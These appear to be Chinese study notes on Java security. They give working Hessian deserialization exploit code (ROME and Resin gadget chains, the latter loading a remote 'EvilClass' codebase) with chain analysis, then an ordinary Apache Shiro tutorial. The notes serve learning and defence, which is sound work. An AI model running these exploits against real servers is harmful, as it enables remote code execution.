利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import com.caucho.hessian.client.HessianProxyFactory;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import java.lang.reflect.Field;import java.security.*;import java.util.HashSet;public class HessianROME { public static Object getObject (String cmd) throws Exception { KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA" ); SignedObject signedObject = new SignedObject ("foo" , privateKey, signingEngine); ToStringBean innerBean = new ToStringBean (SignedObject.class, signedObject); EqualsBean outerBean = new EqualsBean (ToStringBean.class, innerBean); HashSet triggerSet = new HashSet (); triggerSet.add(outerBean); setFieldValue(signedObject, "content" , ROME.getPayload(cmd)); return triggerSet; } public static void main (String[] args) throws Exception { HessianProxyFactory factory = new HessianProxyFactory (); HelloService hello = (HelloService) factory.create( HelloService.class, "http://localhost:8080/hessian/hello" ); hello.setObject(getObject("calc" )); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
Resin 1 2 3 4 5 <dependency > <groupId > com.caucho</groupId > <artifactId > resin</artifactId > <version > 4.0.64</version > </dependency >
原理分析 com.sun.org.apache.xpath.internal.objects.XString#equals 会对传入的 obj2 调用 toString 方法。
1 2 3 4 5 6 7 8 9 10 11 12 public boolean equals (Object obj2) { if (obj2 == null ) return false ; else if (obj2 instanceof XNodeSet) return obj2.equals(this ); else if (obj2 instanceof XNumber) return obj2.equals(this ); else return str().equals(obj2.toString()); }
com.caucho.naming.QName 是 Resin 对上下文 _context 的一种封装,它的 toString 方法会调用其封装类的 composeName 方法获取复合上下文的名称。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 protected Context _context;public QName (Context context, String first, String rest) { _context = context; if (first != null ) _items.add(first); if (rest != null ) _items.add(rest); } public int size () {return _items.size();}public String get (int pos) { if (pos < _items.size()) return (String) _items.get(pos); else return null ; } public String toString () { String name = null ; for (int i = 0 ; i < size(); i++) { String str = (String) get(i); if (name != null ) { try { name = _context.composeName(str, name); } catch (NamingException e) { name = name + "/" + str; } } else name = str; } return name == null ? "" : name; }
这里要求 _items 中至少有两项,这样在 toString 的循环中:
第一次循环时 name 为 null,因此会走 else 分支将当前字符串赋值给 name。
第二次循环时 触发 _context.composeName(str, name) 调用。
我们将 _context 设置为 javax.naming.spi.ContinuationContext 则 composeName 方法会有如下调用链:
1 2 3 4 5 6 7 at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87) at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158) at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319) at javax.naming.spi.NamingManager.getContext(NamingManager.java:439) at javax.naming.spi.ContinuationContext.getTargetContext(ContinuationContext.java:55) at javax.naming.spi.ContinuationContext.composeName(ContinuationContext.java:180) at com.caucho.naming.QName.toString(QName.java:353)
首先在 ContinuationContext#getTargetContext 会 cpe.getResolvedObj() 获取 Reference 对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 protected CannotProceedException cpe;protected Context getTargetContext () throws NamingException { if (contCtx == null ) { if (cpe.getResolvedObj() == null ) throw (NamingException)cpe.fillInStackTrace(); contCtx = NamingManager.getContext(cpe.getResolvedObj(), cpe.getAltName(), cpe.getAltNameCtx(), env); if (contCtx == null ) throw (NamingException)cpe.fillInStackTrace(); } return contCtx; }
cpe.getResolvedObj() 实际上调用的是 javax.naming.NamingException#getResolvedObj,也就是将 resolvedObj 属性返回,
1 2 3 4 5 protected Object resolvedObj;public Object getResolvedObj () { return resolvedObj; }
我们同样可以调用 NamingException#setResolvedObj 设置一个 Reference 对象。
1 2 3 public void setResolvedObj (Object obj) { resolvedObj = obj; }
之后在 NamingManager#getObjectInstance 从获取到的 Reference 对象中提取工厂类名(classFactory)作为参数和 Reference 对象本身一起传入 getObjectFactoryFromReference 参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null ) { factory = builder.createObjectFactory(refInfo, environment); return factory.getObjectInstance(refInfo, name, nameCtx, environment); } Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); } } }
getObjectFactoryFromReference 则直接根据 Reference 对象中的工厂类名和 codebase 远程加载类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
这里的 helper 实际上是 VersionHelper12,而 VersionHelper12 对象的 loadClass 方法会通过 URLClassLoader 远程加载加载类。
VersionHelper 和 VersionHelper12 属于 JNDI 内部工具类 (包名通常是 com.sun.naming.internal),用于屏蔽不同 JDK 版本的差异 ,尤其是类加载 相关(TCCL、URLClassLoader、codebase 解析等)。
最后,为了能触发 equal 方法,我们需要让 QName 和 xString 的 hashCode 返回值相同。
XString 的 hashCode 实现如下:
1 2 3 4 5 6 7 public int hashCode () { return str().hashCode(); } public String str () { return (null != m_obj) ? ((String) m_obj) : "" ; }
XString 的构造函数将传入的参数 val 字符串交给父类的构造函数:
1 public XString (String val) {super (val);}
父类 XObject 将其设置到 m_obj 中。
1 2 3 public XObject (Object obj) {setObject(obj);}protected void setObject (Object obj) {m_obj = obj;}
因此 XString 的 hashCode 其实就是字符串哈希。而 String 的 hashCode 实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private int hash; public int hashCode () { int h = hash; if (h == 0 && value.length > 0 ) { char val[] = value; for (int i = 0 ; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
QName 的 hashCode 实现如下:
1 2 3 4 5 6 7 8 public int hashCode () { int hashCode = 337 ; for (int i = size() - 1 ; i >= 0 ; i--) hashCode = 65521 * hashCode + get(i).hashCode(); return hashCode; }
因此 QName.hashCode() = 337 * 65521^2 + 65521 * hash(rest) + hash(first) = -662,493,135 + 65521 * hash(rest) + hash(first)。
如果我们令 rest 和 first 均为空串,则 hash(rest) = hash(first) = 0,即 QName.hashCode() = -662,493,135。
此时我们只需要寻找一个哈希值为 -662,493,135 的字符串即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 static String uppercaseStringWithHash (int target) { final int base = 'A' ; final int n = 7 ; long T = Integer.toUnsignedLong(target); long term = (pow31(n) - 1 ) / 30 ; long s = (T - (long )base * term) & 0xFFFF_FFFFL ; if (s >= pow31(n)) { throw new IllegalArgumentException ("increase n" ); } int [] digits = new int [n]; for (int i = n - 1 ; i >= 0 ; --i) { digits[i] = (int )(s % 31 ); s /= 31 ; } char [] chars = new char [n]; for (int i = 0 ; i < n; i++) chars[i] = (char ) (base + digits[i]); return new String (chars); } static long pow31 (int n) { long p = 1 ; for (int i = 0 ; i < n; i++) p *= 31 ; return p; }
用这个函数计算得:
uppercaseStringWithHash( 662_493_135 ) → "BKIGJUA"
uppercaseStringWithHash(-662_493_135 ) → "EVAEGSR"
因此:
1 2 3 4 5 6 7 8 9 10 String first = "BKIGJUA" ; String rest = "" ; String xVal = "" ; String first2 = "" ; String rest2 = "" ; String xVal2 = "EVAEGSR" ;
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import com.caucho.hessian.client.HessianProxyFactory;import com.caucho.naming.QName;import com.sun.org.apache.xpath.internal.objects.XString;import javax.naming.CannotProceedException;import javax.naming.Context;import javax.naming.Reference;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.LinkedHashMap;public class HessianResin { public static Object getObject (String url) throws Exception { XString xString = new XString ("EVAEGSR" ); Class contextClass = Class.forName("javax.naming.spi.ContinuationContext" ); Constructor constructor = contextClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); constructor.setAccessible(true ); CannotProceedException cpe = new CannotProceedException (); Context context = (Context) constructor.newInstance(cpe, new Hashtable ()); QName qName = new QName (context, "" , "" ); System.out.println(qName.hashCode()); System.out.println(xString.hashCode()); HashMap set = new LinkedHashMap (); set.put(qName, 0 ); set.put(xString, 0 ); cpe.setResolvedObj(new Reference ("foo" , "EvilClass" , url)); return set; } public static void main (String[] args) throws Exception { getObject("http://127.0.0.1:9999/" ); HessianProxyFactory factory = new HessianProxyFactory (); HelloService hello = (HelloService) factory.create( HelloService.class, "http://localhost:8080/hessian/hello" ); hello.setObject(getObject("http://127.0.0.1:9999/" )); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
由于 javax.naming.spi.ContinuationContext 没有实现 java.io.Serializable 接口,因此需要在 com.caucho.hessian.io.SerializerFactory#getDefaultSerializer 下断点设置 _isAllowNonSerializable 为 true 通过检查:
1 2 3 4 if (! Serializable.class.isAssignableFrom(cl) && ! _isAllowNonSerializable) { throw new IllegalStateException ("Serialized class " + cl.getName() + " must implement java.io.Serializable" ); }
修复情况(< JDK8u191) 这条利用链中的 com.sun.naming.internal.VersionHelper12#loadClass 和 JNDI-LDAP 的远程类加载是同一个函数,在 JDK-8u191 开始该函数增加了 com.sun.jndi.ldap.object.trustURLCodebase 判断导致远程类加载失效。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true" .equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null ; } }
基于异常反序列化 com.caucho.hessian.io.Hessian2Input#readObject 函数
Kryo Dubbo Shiro Apache Shiro 是一个通用的 Java 安全框架,负责四件事:身份认证(Authentication) 、访问控制/授权(Authorization) 、会话管理(Session Management) 、加解密(Cryptography) 。
Authentication 身份认证 :确认“你是谁”。用到下面三个信息:
Subject :主体/当事人。发起操作的人或程序线程。
Principal :身份标识,要求唯一 (如用户名/手机号/邮箱/用户ID)。
Credential :凭证,用来证明你是这个身份(如密码、TOTP、证书)。
Authorization 访问控制 :确认“你能做什么”。三要素:
who (谁)→ user/subject,当前操作人
what (对什么)→ resource,被访问的资源(接口、菜单、记录等)
how (怎么操作)→ permission(操作许可),通常也会通过 role(角色) 来打包一组权限
permission :最小粒度的操作许可(Shiro 常用通配权限 模型)
role :角色(权限的集合 ,如 admin、editor)
它既能用于 Web(拦截请求、登录、鉴权),也能用于非 Web 程序(命令行工具、后台任务),因为它不依赖 Servlet 容器自带的 Session。
Shiro 关键组件
Subject 代表“当前主体”。你在业务代码里几乎只和它打交道:
Subject.login(token):登录
Subject.isAuthenticated():是否已认证
Subject.hasRole("admin") / checkRole(...):角色判断
Subject.isPermitted("doc:read:123") / checkPermission(...):权限判断
Subject.getPrincipal():取出当前用户标识
Subject.getSession():拿会话(无论是否 Web)
SecurityManager(安全管理器) Shiro 的核心枢纽 ,把具体工作分派给下属模块:Authenticator / Authorizer / SessionManager / … 在 Spring 环境中,它往往是一个单例 Bean(DefaultSecurityManager 或 DefaultWebSecurityManager)。
Authenticator(认证器) 负责调用一个或多个 Realm 完成认证。多 Realm 时可配置策略:
AtLeastOneSuccessfulStrategy(默认,有一个成功即可)
FirstSuccessfulStrategy(第一个成功的为准)
AllSuccessfulStrategy(全部成功才算通过)
Authorizer(授权器) 根据角色/权限判定是否允许访问。默认实现基于 WildcardPermission 处理你定义的通配权限字符串。
Realm(数据源 + 认证/授权实现) Realm 是“桥”,把你的存储系统 (数据库/LDAP/远程服务)里的用户、角色、权限数据提供给 Shiro。 典型做法:自定义一个 AuthorizingRealm,重写两件事:
doGetAuthenticationInfo(token):根据用户名查出哈希后的密码 + 盐 ,返回 AuthenticationInfo。
doGetAuthorizationInfo(principals):查出该用户的角色与权限,封装 AuthorizationInfo。
CredentialsMatcher :口令校验器。常用 HashedCredentialsMatcher 做 SHA-256/SHA-512 + 盐 + 多轮迭代。若需 bcrypt/argon2,可自定义或用社区扩展。
SessionManager / SessionDAO Shiro 自带一套与 Servlet 无关 的会话管理:
SessionManager :控制会话生命周期/超时。
SessionDAO :会话存储抽象。可落到内存、数据库、Redis 等(需要相应实现,如社区常用 shiro-redis)。
常见实现:
DefaultWebSessionManager:Web 环境下的原生 Shiro 会话(Cookie 名常见 JSESSIONID 或自定义)。
ServletContainerSessionManager:直接复用容器会话。
可以添加 SessionListener 监听创建/停用事件。
CacheManager(缓存) 给授权信息/会话 等做缓存,减少数据库压力。常见:
Ehcache、Caffeine、本地 Map 或 Redis 集成
典型用法:授权信息缓存 (AuthorizationInfo)能明显减少“每次鉴权都查库”的开销
Cryptography(密码学工具) Shiro 提供常用组件:
SimpleHash、DefaultPasswordService 等散列/密码服务
AesCipherService 等对称加解密
SecureRandomNumberGenerator 生成随机盐
用途:安全存储密码、签发/校验 RememberMe Cookie、对敏感数据做加解密 。
基本使用 1 2 3 4 5 6 7 8 9 10 11 <dependency > <groupId > commons-logging</groupId > <artifactId > commons-logging</artifactId > <version > 1.1.3</version > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > <version > 1.3.2</version > </dependency >
数据源与 Realm Shiro 不关心你的用户存在哪(内存、JDBC、Redis、LDAP……),它只跟 Realm 打交道。Realm 就是 Shiro 的“数据源适配器 + 认证/授权规则执行者”。
认证时:它替你去数据源查账号 (DB/Redis/LDAP/INI/自写服务),拿回口令散列+盐 、账户状态等,让 Shiro 比对登录口令。
授权时:它替你查角色/权限 并回传给 Shiro,用来 hasRole() / isPermitted()。
我们可以自定义Realm,最常见做法:自定义一个继承 AuthorizingRealm 的类,重写两个方法:
doGetAuthenticationInfo(...) → 登陆时调用;
doGetAuthorizationInfo(...) → 首次做角色/权限判断时调用并缓存。
“数据源”与实体 首先先定义实体与“数据源”接口(可换成 JDBC/ORM):
1 2 3 4 5 6 7 8 9 10 11 public class User { public final String username; public final String passwordHash; public final String salt; public final boolean locked; public User (String u, String h, String s, boolean locked) { this .username = u; this .passwordHash = h; this .salt = s; this .locked = locked; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.util.*;public class UserService { private final Map<String, User> table = new HashMap <>(); public void save (User u) { table.put(u.username, u); } public User findByUsername (String u) { return table.get(u); } public Set<String> rolesOf (String username) { if ("admin" .equals(username)) return new HashSet <>(Arrays.asList("admin" , "op" )); return new HashSet <>(Collections.singletonList("user" )); } public Set<String> permsOf (String username) { if ("admin" .equals(username)) return new HashSet <>(Arrays.asList("doc:read" , "doc:write" , "user:*" )); return new HashSet <>(Collections.singletonList("doc:read" )); } }
自定义 Realm 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import org.apache.shiro.authc.*;import org.apache.shiro.authc.credential.HashedCredentialsMatcher;import org.apache.shiro.authz.*;import org.apache.shiro.realm.AuthorizingRealm;import org.apache.shiro.subject.PrincipalCollection;import org.apache.shiro.util.ByteSource;public class MyRealm extends AuthorizingRealm { private final UserService userService; public MyRealm (UserService userService) { this .userService = userService; HashedCredentialsMatcher matcher = new HashedCredentialsMatcher ("SHA-256" ); matcher.setHashIterations(1024 ); matcher.setStoredCredentialsHexEncoded(true ); setCredentialsMatcher(matcher); } @Override protected AuthorizationInfo doGetAuthorizationInfo (PrincipalCollection principals) { String username = (String) principals.getPrimaryPrincipal(); SimpleAuthorizationInfo info = new SimpleAuthorizationInfo (); info.setRoles(userService.rolesOf(username)); info.setStringPermissions(userService.permsOf(username)); return info; } @Override protected AuthenticationInfo doGetAuthenticationInfo (AuthenticationToken token) throws AuthenticationException { UsernamePasswordToken up = (UsernamePasswordToken) token; User u = userService.findByUsername(up.getUsername()); if (u == null ) throw new UnknownAccountException (); if (u.locked) throw new LockedAccountException (); return new SimpleAuthenticationInfo ( u.username, u.passwordHash, ByteSource.Util.bytes(u.salt), getName() ); } }
Realm 使用 我们可以通过下面的代码模拟 Shiro 的身份认证和访问控制过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import org.apache.shiro.SecurityUtils;import org.apache.shiro.authc.*;import org.apache.shiro.crypto.SecureRandomNumberGenerator;import org.apache.shiro.crypto.hash.SimpleHash;import org.apache.shiro.mgt.DefaultSecurityManager;import org.apache.shiro.subject.Subject;import org.apache.shiro.util.ByteSource;public class App { static User createUser (String username, String plain) { String salt = new SecureRandomNumberGenerator ().nextBytes().toHex(); String hash = new SimpleHash ("SHA-256" , plain, ByteSource.Util.bytes(salt), 1024 ).toHex(); return new User (username, hash, salt, false ); } public static void main (String[] args) { UserService repo = new UserService (); repo.save(createUser("admin" , "123456" )); repo.save(createUser("alice" , "hello" )); MyRealm realm = new MyRealm (repo); DefaultSecurityManager sm = new DefaultSecurityManager (realm); SecurityUtils.setSecurityManager(sm); Subject subject = SecurityUtils.getSubject(); UsernamePasswordToken token = new UsernamePasswordToken ("admin" , "123456" ); try { subject.login(token); System.out.println("Login OK? " + subject.isAuthenticated()); System.out.println("hasRole(admin)? " + subject.hasRole("admin" )); System.out.println("isPermitted(doc:write)? " + subject.isPermitted("doc:write" )); subject.checkRole("admin" ); subject.checkPermission("doc:read" ); } catch (UnknownAccountException | IncorrectCredentialsException e) { System.out.println("用户名或口令错误" ); } catch (LockedAccountException e) { System.out.println("账户被锁定" ); } catch (AuthenticationException e) { System.out.println("其他认证失败: " + e.getClass().getSimpleName()); } finally { subject.logout(); } } }
身份认证 使用自定义 Realm Shiro 的认证核心是三件事:Subject(当前用户)、SecurityManager(安全总管)、Realm(拿你的用户/密码/角色/权限数据)。基本流程是:
提供 Realm (你实现或内置),它负责“查出正确答案”(口令散列/盐、账户状态)。
1 MyRealm realm = new MyRealm (repo);
准备 SecurityManager → 绑定到 SecurityUtils。
1 2 DefaultSecurityManager sm = new DefaultSecurityManager (realm);SecurityUtils.setSecurityManager(sm);
SecurityUtils 里获取 Subject → subject.login(new UsernamePasswordToken(u,p))。
1 2 3 Subject subject = SecurityUtils.getSubject();UsernamePasswordToken token = new UsernamePasswordToken ("admin" , "123456" );subject.login(token);
使用内置 Realm 不用自定义 Realm 时,可直接用 IniRealm:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import org.apache.shiro.SecurityUtils;import org.apache.shiro.authc.AuthenticationException;import org.apache.shiro.authc.UsernamePasswordToken;import org.apache.shiro.config.IniSecurityManagerFactory;import org.apache.shiro.mgt.SecurityManager;import org.apache.shiro.subject.Subject;import org.apache.shiro.util.Factory;public class AuthDemo { public static void main (String[] args) { Factory<SecurityManager> factory = new IniSecurityManagerFactory ("classpath:shiro.ini" ); SecurityManager securityManager = factory.getInstance(); SecurityUtils.setSecurityManager(securityManager); Subject subject = SecurityUtils.getSubject(); UsernamePasswordToken token = new UsernamePasswordToken ("admin" , "123456" ); try { subject.login(token); System.out.println("Login Success: " + subject.isAuthenticated()); } catch (AuthenticationException e) { System.out.println("Login Failure: " + e.getClass().getSimpleName()); } } }
resources/shiro.ini 中存放明文口令:
1 2 3 4 5 6 7 8 [users] admin = password123, adminRolealice = alicePwd, userRolebob = secret, userRole[roles] adminRole = *userRole = doc:read,doc:write
读取 shiro.ini 文件。如果其中有 [users] 段,IniSecurityManagerFactory 会创建一个 IniRealm (org.apache.shiro.realm.text.IniRealm),把 [users] 列表里的账号密码加载进内存;这就是“认证的数据来源”。
认证过程分析 认证过程调用栈如下:
1 2 3 4 5 6 7 8 at MyRealm.doGetAuthenticationInfo(MyRealm.java:34) at org.apache.shiro.realm.AuthenticatingRealm.getAuthenticationInfo(AuthenticatingRealm.java:568) at org.apache.shiro.authc.pam.ModularRealmAuthenticator.doSingleRealmAuthentication(ModularRealmAuthenticator.java:180) at org.apache.shiro.authc.pam.ModularRealmAuthenticator.doAuthenticate(ModularRealmAuthenticator.java:267) at org.apache.shiro.authc.AbstractAuthenticator.authenticate(AbstractAuthenticator.java:198) at org.apache.shiro.mgt.AuthenticatingSecurityManager.authenticate(AuthenticatingSecurityManager.java:106) at org.apache.shiro.mgt.DefaultSecurityManager.login(DefaultSecurityManager.java:270) at org.apache.shiro.subject.support.DelegatingSubject.login(DelegatingSubject.java:256)
org.apache.shiro.authc.pam.ModularRealmAuthenticator#doAuthenticate 判断是单个数据源还是多个数据源。
1 2 3 4 5 6 7 8 9 protected AuthenticationInfo doAuthenticate (AuthenticationToken authenticationToken) throws AuthenticationException { assertRealmsConfigured(); Collection<Realm> realms = getRealms(); if (realms.size() == 1 ) { return doSingleRealmAuthentication(realms.iterator().next(), authenticationToken); } else { return doMultiRealmAuthentication(realms, authenticationToken); } }
无论是哪一种,最后都会调用 org.apache.shiro.realm.AuthenticatingRealm#getAuthenticationInfo 进行认证。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 public final AuthenticationInfo getAuthenticationInfo (AuthenticationToken token) throws AuthenticationException { AuthenticationInfo info = getCachedAuthenticationInfo(token); if (info == null ) { info = doGetAuthenticationInfo(token); log.debug("Looked up AuthenticationInfo [{}] from doGetAuthenticationInfo" , info); if (token != null && info != null ) { cacheAuthenticationInfoIfPossible(token, info); } } else { log.debug("Using cached authentication info [{}] to perform credentials matching." , info); } if (info != null ) { assertCredentialsMatch(token, info); } else { log.debug("No AuthenticationInfo found for submitted AuthenticationToken [{}]. Returning null." , token); } return info; }
doGetAuthenticationInfo 返回的 SimpleAuthenticationInfo 中存储着根据用户登录信息查询到的经过哈希的凭据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public SimpleAuthenticationInfo (Object principal, Object hashedCredentials, ByteSource credentialsSalt, String realmName) { this .principals = new SimplePrincipalCollection (principal, realmName); this .credentials = hashedCredentials; this .credentialsSalt = credentialsSalt; }
assertCredentialsMatch 完成用户登录信息 AuthenticationToken 与根据用户信息查询到的 AuthenticationInfo 直接的比较。实际上是调用 CredentialsMatcher#doCredentialsMatch 进行比较的,比较时会将用户登录信息哈希计算后再跟 AuthenticationInfo 中的经过哈希的凭据比较。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 protected void assertCredentialsMatch (AuthenticationToken token, AuthenticationInfo info) throws AuthenticationException { CredentialsMatcher cm = getCredentialsMatcher(); if (cm != null ) { if (!cm.doCredentialsMatch(token, info)) { String msg = "Submitted credentials for token [" + token + "] did not match the expected credentials." ; throw new IncorrectCredentialsException (msg); } } else { throw new AuthenticationException ( "A CredentialsMatcher must be configured in order to verify credentials during authentication. " + "If you do not wish for credentials to be examined, you can configure an " + AllowAllCredentialsMatcher.class.getName() + " instance." ); } }
访问控制 Shiro 的授权核心是用户(Subject)→ 角色(Role)→ 权限(Permission) 。
用户(Subject) 当前正在与系统交互的用户主体。
角色(Role) 更像“身份标签”,例如:admin、user、manager 等。
权限(Permission) 是具体的“能做什么”操作,Shiro 推荐使用 WildcardPermission 表达。
WildcardPermission 表达式规则为:资源:动作:实例,用逗号 , 表示并集,用 * 表示通配符。
例如:
"doc:read,write:*" 表示对所有文档实例都有读和写权限;
"user:*" 表示对用户资源的所有操作权限。
程序式授权(API 方式) 在现有的 App.java 中登录成功后,可以通过如下 API 实现访问控制:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Subject subject = SecurityUtils.getSubject();boolean isAdmin = subject.hasRole("admin" ); boolean hasAll = subject.hasAllRoles(Arrays.asList("admin" , "op" )); boolean any = subject.hasRole("admin" ) || subject.hasRole("op" ); boolean canRead = subject.isPermitted("doc:read" ); boolean canWrite = subject.isPermitted("doc:write" ); boolean canEditOwnDoc = subject.isPermitted("doc:write:123" ); subject.checkRole("admin" ); subject.checkPermissions("doc:read" , "doc:write" );
WildcardPermission 扩展规则 :
"doc:read,write:123" 等同于同时具有 doc:read:123 和 doc:write:123 两个权限。
使用 * 表示“全部”资源或动作,例 "doc:*:*" 表示所有文档的全部权限。
注解式授权(方法/控制器上) Shiro 提供一系列注解(@RequiresAuthentication, @RequiresRoles, @RequiresPermissions 等),配合 AOP,可直接在方法或控制器入口处声明权限:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import org.apache.shiro.authz.annotation.*;@RequiresAuthentication public class DocumentService { @RequiresRoles(value = {"admin", "op"}, logical = Logical.OR) @RequiresPermissions("doc:write") public void updateDoc (String id, String content) { } @RequiresPermissions(value = {"doc:read", "doc:preview"}, logical = Logical.OR) public String view (String id) { } }
在 Spring Boot 项目中,使用 shiro-spring-boot-web-starter 时,上述注解默认已启用,无需额外配置。
Jakarta EE 环境可引入 shiro-jakarta-ee 模块,使上述注解支持 CDI/EJB。
注解中的 @RequiresRoles 和 @RequiresPermissions 默认采用 AND 语义;若需要 OR 语义,必须明确设置 logical = Logical.OR。
URL 级拦截(Filter Chain) Web 应用可通过 [urls] 配置段(INI 文件)或 Java/Spring 配置(如 ShiroFilterChainDefinition Bean)来定义 URL 与权限规则之间的关系:
shiro.ini 配置示例 1 2 3 4 5 6 7 8 9 10 11 12 [urls] /assets/** = anon /login = anon /logout = logout /api/docs/** = authc, perms["doc:read"] /api/admin/** = authc, roles[admin] /** = authc
URL 匹配规则说明:
Spring Boot 下的配置 在 Spring Boot 环境中,定义如下 Java 配置:
1 2 3 4 5 6 7 8 9 10 11 12 13 @Configuration class ShiroConfig { @Bean ShiroFilterChainDefinition shiroFilterChainDefinition () { var chain = new DefaultShiroFilterChainDefinition (); chain.addPathDefinition("/assets/**" , "anon" ); chain.addPathDefinition("/logout" , "logout" ); chain.addPathDefinition("/api/docs/**" , "authc, perms[\"doc:read\"]" ); chain.addPathDefinition("/api/admin/**" , "authc, roles[admin]" ); chain.addPathDefinition("/**" , "authc" ); return chain; } }
在使用 shiro-spring-boot-web-starter 的场景中,必须至少提供一个 ShiroFilterChainDefinition Bean 来定义 URL 拦截规则。
此 Bean 可与其他 Shiro 组件(如 Realm、SessionManager、SecurityManager)共同定义在同一个 ShiroConfig 类中。
集成到 Java Web 项目 集成到 Servlet 容器 web.xml 接入把 Shiro 的环境监听器与过滤器挂上去。放在 WEB-INF/web.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <web-app xmlns ="http://java.sun.com/xml/ns/javaee" version ="3.0" > <listener > <listener-class > org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class > </listener > <context-param > <param-name > shiroConfigLocations</param-name > <param-value > classpath:shiro.ini, /WEB-INF/shiro.ini</param-value > </context-param > <filter > <filter-name > ShiroFilter</filter-name > <filter-class > org.apache.shiro.web.servlet.ShiroFilter</filter-class > </filter > <filter-mapping > <filter-name > ShiroFilter</filter-name > <url-pattern > /*</url-pattern > <dispatcher > REQUEST</dispatcher > <dispatcher > FORWARD</dispatcher > <dispatcher > INCLUDE</dispatcher > <dispatcher > ERROR</dispatcher > </filter-mapping > </web-app >
顺序要点: ShiroFilter 要在你应用里其他“需要被保护”的 Servlet/Filter 前执行(通常放最前)。Jetty 与 Tomcat 一致,因为它们都遵守 web.xml 规范。
shiro.ini 配置
[main] 里放“对象图”和全局组件;
[urls] 里放 URL 过滤链;
(可选的)[users]/[roles] 仅用于 IniRealm 快速演示。
